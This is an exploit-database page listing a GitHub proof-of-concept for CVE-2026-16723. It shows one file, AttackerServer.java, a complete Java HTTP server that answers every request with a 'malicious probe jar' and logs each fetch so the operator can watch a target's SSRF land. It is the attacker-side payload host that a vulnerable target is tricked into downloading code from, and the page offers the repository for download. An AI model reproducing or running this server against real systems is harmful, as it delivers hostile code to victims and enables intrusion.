Exploit database

GH-d2599377211b8ad6176db2585087e821

fazilbaig1/cve-2026-16723

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-16723

12 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2026-16723/patch/attacker/AttackerServer.java

Java · 1,141 bytes
import com.sun.net.httpserver.HttpServer;
import java.io.*;
import java.net.InetSocketAddress;
import java.nio.file.*;

/** Serves the malicious probe jar (built by entrypoint.sh) for any path, and logs
 *  every fetch so you can watch the target's SSRF land. */
public class AttackerServer {
    public static void main(String[] a) throws Exception {
        int port = Integer.parseInt(System.getProperty("port", "8000"));
        byte[] jar = Files.readAllBytes(Paths.get("/www/probe"));
        HttpServer s = HttpServer.create(new InetSocketAddress("0.0.0.0", port), 0);
        s.createContext("/", ex -> {
            System.out.println("[attacker] " + ex.getRequestMethod() + " " + ex.getRequestURI()
                    + " from " + ex.getRemoteAddress() + "  -> serving malicious jar (" + jar.length + "b)");
            ex.getResponseHeaders().set("Content-Type", "application/java-archive");
            ex.sendResponseHeaders(200, jar.length);
            ex.getResponseBody().write(jar);
            ex.close();
        });
        s.start();
        System.out.println("[attacker] serving malicious jar on :" + port);
    }
}